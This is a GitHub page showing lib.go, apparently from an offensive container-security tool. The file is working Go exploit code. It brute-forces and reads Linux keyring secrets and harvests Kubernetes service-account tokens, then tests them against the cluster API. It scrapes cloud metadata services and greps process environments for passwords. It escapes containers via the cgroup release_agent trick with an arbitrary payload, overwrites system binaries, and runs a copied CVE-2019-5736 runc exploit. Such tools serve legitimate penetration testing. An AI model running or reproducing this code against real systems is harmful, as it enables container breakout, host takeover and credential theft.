-
Notifications
You must be signed in to change notification settings - Fork 59
/
lib.go
737 lines (635 loc) · 18.8 KB
/
lib.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"math"
"net"
"net/url"
"os"
"strconv"
"strings"
)
type Key struct {
KeyId int32
Valid bool
Name string
Type string
Uid string
Gid string
Perms string
String_Content string
Byte_Content []byte
Comments []string
Subkeys []Key
size int
Output string
}
func worker(id int, jobs <-chan int, results chan<- Key) {
for j := range jobs {
if *verbosePtr == true {
fmt.Println("[DEBUG] Attempting to access key with ID: ", j)
}
k := Key{KeyId: int32(j)}
// syscall keyctl_describekeyid(keyid)
// Collects information about a key ID but not its contents
breturn, err := k.describeKeyId()
if err != nil {
if *verbosePtr == true {
fmt.Println("[ERROR]", err)
}
} else {
if *verbosePtr == true {
fmt.Println("[DEBUG] Got access to key with ID: ", j)
}
k.Valid = true
// Fill in the key details based on the syscall response
k.populate_describe(breturn)
if k.Type == "keyring" {
// Keyrings hold keys and are what we're looking for
// If you don't "possess" the keyring then you will likely
// be unable to read its contents. This links the keyring
// to your personal session keyring, and then tries to read
// the contents.
// syscall keyctl_link(src, -3=session keyring)
err := keyctl_Link(keyId(k.KeyId), keyId(keySpecSessionKeyring))
if err != nil {
if *verbosePtr == true {
fmt.Println("[ERROR]", err)
}
}
// list keys in keyring and fill in description deails
// TODO this is populating subkeys before the link which
// means the sub-sub keys can't do a read() op
k.populate_subkeys()
// Try to read all the secrets of the keys
for i := range k.Subkeys {
err := k.Subkeys[i].Get()
if err != nil {
//TODO what else can happen?
//Error.Print(err.Error())
if *verbosePtr == true {
fmt.Println("[ERROR]", err)
}
}
}
// Cleanup and unlink the keyring from your session
keyctl_Unlink(keyId(k.KeyId), keyId(keySpecSessionKeyring))
}
// Go back and collect the keyring data to be thorough
err := k.Get()
if err != nil {
// We would haven't already deduced this but there's a scenario
// where you have permission to describe() a key but not read() it
if msg := err.Error(); msg == "permission denied" {
k.Comments = append(k.Comments, "Read permission denied to user")
} else if err != nil {
fmt.Println(err.Error())
}
}
}
if k.Valid {
output, err := json.MarshalIndent(k, "", " ")
if err != nil {
fmt.Println("[ERROR] ", err)
}
k.Output = string(output)
}
results <- k
}
}
//The code in this function is originally from https://github.com/antitree/keyctl-unmask
func pwnKeyCtl(min, max int) {
fmt.Println("[*] Attempting to Identify and Extract Keyring Values")
fmt.Println("[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe")
//We add one so that the min and max provided are inclusive to the actual jobs
numJobs := max - min + 1
jobs := make(chan int, numJobs)
results := make(chan Key)
for w := 1; w <= 50; w++ {
go worker(w, jobs, results)
}
for j := min; j <= max; j++ {
jobs <- j
}
close(jobs)
for a := 1; a <= numJobs; a++ {
key := <-results
if key.Valid {
fmt.Println("[!] Output", key.Output)
}
}
}
//This function is originally from https://github.com/antitree/keyctl-unmask
func (k *Key) Get() error {
// Perform a syscall keyctlread() to get the secret bytes
// of a key. Returns error if it can't read the key.
var (
b []byte
err error
sizeRead int
)
if k.size == 0 {
k.size = 512
}
size := k.size
b = make([]byte, int(size))
sizeRead = size + 1
for sizeRead > size {
r1, err := keyctl_Read(keyId(k.KeyId), &b[0], size)
if err != nil {
return err
}
if sizeRead = int(r1); sizeRead > size {
b = make([]byte, sizeRead)
size = sizeRead
sizeRead = size + 1
} else {
k.size = sizeRead
}
}
// Update the original keypointer
content := b[:k.size]
k.Byte_Content = content
k.String_Content = string(content)
return err
}
//This function is originally from https://github.com/antitree/keyctl-unmask
func (k *Key) populate_subkeys() (int, error) {
// Consume a keyid and run the syscall listkeys()
// Generates keyids for other keys part of the
// keychain.
nkid, err := listKeys(keyId(k.KeyId))
if err != nil {
return 0, err
}
var i int
for _, kid := range nkid {
// Turn each subkey ID into a key object
i++
nk := Key{KeyId: int32(kid)}
nkdesc, err := nk.describeKeyId()
// TODO IDK if you need to hunt for subkeys here because
// you're already going to find them from /proc/keys
// and you're going to get permission problems for subkeys
// I would assume? idk.
if err == nil {
fmt.Printf("[!] Subkey description for key [%d]: %s\n", kid, string(nkdesc))
err := nk.populate_describe(nkdesc)
if err != nil {
nk.Comments = append(nk.Comments, "Error parsing subkey describe text")
} else if nk.Type == "keyring" {
// If the subkey isn't a keyring cool because we'll find the keyrings later
nk.populate_subkeys() // TODO recursive, does this make sense?
} else {
// If the subkey is a user key, asymmetric key, or something else, try to read it
err := nk.Get()
if err != nil {
//TODO Not sure why there's a permission error during subkey search. Maybe because no link
nk.Comments = append(nk.Comments, fmt.Sprintf("Error during %s subkey read: %s", nk.Type, err.Error()))
}
}
k.Subkeys = append(k.Subkeys, nk)
} else {
nk.Comments = append(nk.Comments, "Error during subkey describe")
}
}
return i, nil
}
// End of Keyring Section
func idenitfyVerifyK8Secrets() {
fmt.Println("[*] Identifying and Verifying K8's Secrets")
paths := make([]string, 2)
var tokens []string
paths[0] = "/var/run/secrets/kubernetes.io/serviceaccount/token"
paths[1] = "/run/secrets/kubernetes.io/serviceaccount/token"
for _, path := range paths {
if fileExists(path) {
if *verbosePtr {
fmt.Println("[*] File exists: ", path)
}
data, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println("[ERROR]", err)
return
}
fmt.Println("[!] Token found at:", path)
tokens = append(tokens, string(data))
}
}
urls := make([]string, 4)
urls[0] = "https://kubernetes.default/api/v1"
urls[1] = "https://kubernetes.default/api/v1/namespaces"
urls[2] = "https://kubernetes.default/api/v1/namespaces/default/secrets"
urls[3] = "https://kubernetes.default/api/v1/namespaces/default/pods"
for _, token := range tokens {
for _, url := range urls {
fmt.Println("[*] Trying: ", url)
rspCode, err := httpRequestBearer(url, token)
if err != nil {
fmt.Println("[ERROR]", err)
}
if rspCode >= 200 && rspCode < 400 {
fmt.Printf("[!] Valid response with token (%s...)on -> %s\n", token[:10], url)
}
}
}
}
func abuseCgroupPriv(payload string) {
if payload == "nil" {
fmt.Println("[-] Please provide a payload")
return
}
fmt.Println("[+] Attempting to abuse CGROUP Privileges")
if *verbosePtr {
fmt.Println("[*] Extracting Container Home: sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab")
}
//Locate where the container is located on the underlying host
containerHome, err := execShellCmd("sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab")
if err != nil {
fmt.Println("[ERROR] Extracting Container Home -> 'sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab'. ", err)
}
containerHome = strings.TrimSpace(containerHome)
if *verbosePtr {
fmt.Println("[*] Container Home Extracted: ", containerHome)
}
//Generate where the cgroup directories will live
randomCgroupPath := generateRandomString(6)
randomCgroupChild := generateRandomString(6)
//This satisfies this command essentially "mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x"
cgroupFullPath := fmt.Sprintf("/etc/cgrp%s/%s", randomCgroupPath, randomCgroupChild)
cgroupPartialPath := fmt.Sprintf("/etc/cgrp%s", randomCgroupPath)
cgroupController := "memory"
if *verbosePtr {
fmt.Println("[*] CGROUP Location: ", cgroupFullPath)
}
out, err := execShellCmd("mkdir " + cgroupPartialPath)
if err != nil {
fmt.Println("[ERROR] In Created Cgroup folder -> 'mkdir "+cgroupPartialPath+"'.", err, out)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Created Cgroup folder:", cgroupPartialPath)
}
//mount -t cgroup -o rdma cgroup /tmp/cgrp
// "mount -t cgroup -o " + cgroupController + " cgroup " + cgroupPartialPath
mountCmd := fmt.Sprintf("mount -t cgroup -o %s cgroup %s", cgroupController, cgroupPartialPath)
_, err = execShellCmd(mountCmd)
if err != nil {
fmt.Println("[INFO] CGROUP may exist, attempting exploit regardless")
fmt.Printf("[ERROR] In Mounted CGROUP controller -> '%s'.%s\n", mountCmd, err)
// exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Mounted CGROUP controller: ", mountCmd)
}
// Create a folder for the child cgroup i.e mkdir /tmp/cgrp/x
_, err = execShellCmd("mkdir " + cgroupFullPath)
if err != nil {
fmt.Println("[ERROR] In Created Child CGROUP folder -> 'mkdir "+cgroupFullPath+"'.", err)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Created Child CGROUP folder:", cgroupPartialPath)
}
// echo 1 > /tmp/cgrp/x/notify_on_release
notifyOnReleaseCmd := fmt.Sprintf("echo 1 > %s/notify_on_release", cgroupFullPath)
_, err = execShellCmd(notifyOnReleaseCmd)
if err != nil {
fmt.Println("[ERROR] In Enabling CGROUP Notifications -> 'echo 1 > "+cgroupFullPath+"/notify_on_release'. ", err)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Enabled CGROUP Notifications:", notifyOnReleaseCmd)
}
// echo "$host_path/cmd" > /tmp/cgrp/release_agent
releaseAgentCommand := "echo " + containerHome + "/cmd > " + cgroupPartialPath + "/release_agent"
_, err = execShellCmd(releaseAgentCommand)
if err != nil {
fmt.Println("[ERROR] In Created CMD Script -> '"+releaseAgentCommand+"'. ", err)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Created CMD Script:", releaseAgentCommand)
}
_, err = execShellCmd("echo '#!/bin/sh' > /cmd")
if err != nil {
fmt.Println("[ERROR] In Inserted shebang into CMD Script -> 'echo '#!/bin/sh' > /cmd'. ", err)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Inserted shebang into CMD Script: echo '#!/bin/sh' > /cmd")
}
payloadString := fmt.Sprintf("echo '%s > %s/output'>> /cmd", payload, containerHome)
if *verbosePtr {
fmt.Println("[*] Payload provided: ", payload)
}
_, err = execShellCmd(payloadString)
if err != nil {
fmt.Println("[ERROR] In Inserted payload into CMD script -> '"+payloadString+"'. ", err)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Inserted payload into CMD script: ", payloadString)
}
_, err = execShellCmd("chmod a+x /cmd")
if err != nil {
fmt.Println("[ERROR] In -> 'chmod a+x /cmd'. ", err)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] chmod'ing cmd script: chmod a+x /cmd")
}
// "echo $$ > " + cgroupFullPath + "/cgroup.procs"
addAndExecuteCmd := fmt.Sprintf("echo $$ > %s/cgroup.procs", cgroupFullPath)
_, err = execShellCmd(addAndExecuteCmd)
if err != nil {
fmt.Printf("[ERROR] In Executing, adding a process to CGROUP-> %s, %s\n", addAndExecuteCmd, err)
exitCode = 1
return
}
if *verbosePtr {
fmt.Println("[*] Executing, adding a process to CGROUP: ", addAndExecuteCmd)
}
fmt.Println("[*] The result of your command can be found in /output")
}
func scrapeMetadataEndpoints(endpointList string) {
if endpointList != "nil" {
endpoints, err := getLinesFromFile(endpointList)
if err != nil {
log.Fatal(err)
}
for _, target := range endpoints {
u, err := url.Parse(target)
if err != nil {
log.Fatal(err)
}
hostport := u.Port()
if len(hostport) == 0 {
hostport = "80"
}
resp, err := scrapeGcpMetadata(u.Hostname(), hostport)
if err != nil {
fmt.Println("[ERROR] ", err)
} else {
fmt.Println("[*] Output-> \n", resp)
exitCode = 1
}
}
} else {
resp, err := scrapeGcpMetadata("169.254.169.254", "80")
if err != nil {
fmt.Println("[ERROR] ", err)
} else {
fmt.Println("[*] Output-> \n", resp)
exitCode = 1
}
resp, err = scrapeGcpMetadata("169.254.169.254", "8080")
if err != nil {
fmt.Println("[ERROR] ", err)
} else {
fmt.Println("[*] Output-> \n", resp)
exitCode = 1
}
}
}
func findDockerD() {
fmt.Println("[+] Looking for Dockerd")
dockerdVal, checkResult := checkForDockerEnvSock()
if checkResult {
fmt.Println("[!] Dockerd DOCKER_HOST found:", dockerdVal)
exitCode = 1
}
sockets, _ := getValidSockets(*pathPtr)
httpSockets := getHTTPEnabledSockets(sockets)
dockerSocks := getDockerEnabledSockets(httpSockets)
for _, aSock := range dockerSocks {
fmt.Println("[!] Valid Docker Socket:", aSock)
exitCode = 1
}
}
func findHttpSockets(path string) {
fmt.Println("[+] Looking for HTTP enabled Sockets from:", path)
sockets, _ := getValidSockets(path)
httpSockets := getHTTPEnabledSockets(sockets)
for _, aSock := range httpSockets {
fmt.Println("[!] Valid HTTP Socket:", aSock)
exitCode = 1
}
}
func hijackBinaries(hijackCommand string) {
if hijackCommand != "nil" {
fmt.Println("[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...")
fmt.Println("[+] Attempting to hijack binaries")
fmt.Println("[*] Command to be used: ", hijackCommand)
command := fmt.Sprintf("#!/bin/sh \n %s \n", hijackCommand)
hijackDirectory("/bin", command)
hijackDirectory("/sbin", command)
hijackDirectory("/usr/bin", command)
hijackDirectory("/usr/sbin", command)
} else {
fmt.Println("[-] Please provide a payload")
}
}
func runcPwn(hijackCommand string) {
if hijackCommand == "nil" {
fmt.Println("[-] Please provide a payload")
return
}
//This code has been pretty much copy+pasted from the great work done by Nick Frichetten
//https://github.com/Frichetten/CVE-2019-5736-PoC
fmt.Println("[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...")
payload := fmt.Sprintf("#!/bin/bash \n %s", hijackCommand)
fmt.Println("[+] Attempting to exploit CVE-2019-5736 with command: ", hijackCommand)
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
writeHandle.Write([]byte(payload))
return
}
}
}
func checkProcEnviron(wordlist string) {
fmt.Println("[+] Searching /proc/* for data")
files, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println("[ERROR], Could not access ProcFS")
return
}
var terms []string
if wordlist != "nil" {
terms, err = getLinesFromFile(wordlist)
if err != nil {
panic(err)
}
} else {
terms = append(terms, "secret", "password")
}
for _, file := range files {
environFile := "/proc/" + file.Name() + "/environ"
_, err := os.Stat(environFile)
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR] file does not exist-> ", environFile)
}
} else {
cmd := "cat " + environFile
output, err := execShellCmd(cmd)
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR] Could not query environ for-> ", environFile)
}
}
if checkForJuicyDeets(wordlist, output, terms) {
fmt.Printf("[!] Sensitive keyword found in: %s -> '%s'\n", environFile, output)
exitCode = 2
}
}
}
}
func checkEnvVars(wordlist string) {
fmt.Println("[+] Checking ENV Variables for secrets")
var terms []string
var err error
if wordlist != "nil" {
terms, err = getLinesFromFile(wordlist)
if err != nil {
panic(err)
}
} else {
terms = append(terms, "secret", "password")
}
for _, envVar := range os.Environ() {
if checkForJuicyDeets(wordlist, envVar, terms) {
fmt.Println("[!] Sensitive Keyword found in ENV: ", envVar)
exitCode = 2
}
}
}
func checkMetadataServices(endpointList string) {
if endpointList != "nil" {
endpoints, err := getLinesFromFile(endpointList)
if err != nil {
log.Fatal(err)
}
for _, endpoint := range endpoints {
if queryEndpoint(endpoint) {
exitCode = 1
}
}
} else {
if queryEndpoint("http://169.254.169.254:8080/") {
exitCode = 1
}
if *verbosePtr {
fmt.Println("[*] Attempting to query GCP, Azure, Amazon and Digital Ocean")
}
if queryEndpoint("http://169.254.169.254/") {
exitCode = 1
}
if *verbosePtr {
fmt.Println("[*] Attempting to query GCP")
}
if queryEndpoint("http://metadata.google.internal/") {
exitCode = 1
}
if *verbosePtr {
fmt.Println("[*] Attempting to query Alibaba Cloud")
}
if queryEndpoint("http://100.100.100.200/") {
exitCode = 1
}
if *verbosePtr {
fmt.Println("[*] Attempting to query Kubernetes")
}
if queryEndpoint("https://kubernetes.default") {
exitCode = 1
}
}
}
func autopwn(path string, cicd bool) {
fmt.Println("[+] Attempting to autopwn")
sockets, _ := getValidSockets(path)
httpSockets := getHTTPEnabledSockets(sockets)
dockerSocks := getDockerEnabledSockets(httpSockets)
for _, element := range dockerSocks {
err := autopwnDocker(element, cicd)
if err != nil {
fmt.Println("[ERROR] ", err)
}
}
}
func reverseDNS(cidr string) {
fmt.Println("[*] Attempting to performd reverse DNS lookups:", cidr)
ip, subnet, err := net.ParseCIDR(cidr)
if err != nil {
return
}
split := strings.Split(cidr, "/")
bits, err := strconv.Atoi(split[1])
if err != nil {
return
}
size := int(math.Exp2(float64(32 - bits)))
if size > 2 {
for i := 0; i < size; i++ {
if i > 0 && i < size-1 {
ip = net.IPv4(subnet.IP[0]|byte((i>>24)&0xff),
subnet.IP[1]|byte((i>>16)&0xff),
subnet.IP[2]|byte((i>>8)&0xff),
subnet.IP[3]|byte((i>>0)&0xff))
reverse, _ := net.LookupAddr(ip.String())
if reverse != nil {
fmt.Printf("[!] %s DNS entry: %s\n", ip.String(), strings.Join(reverse[:], ", "))
}
}
}
}
}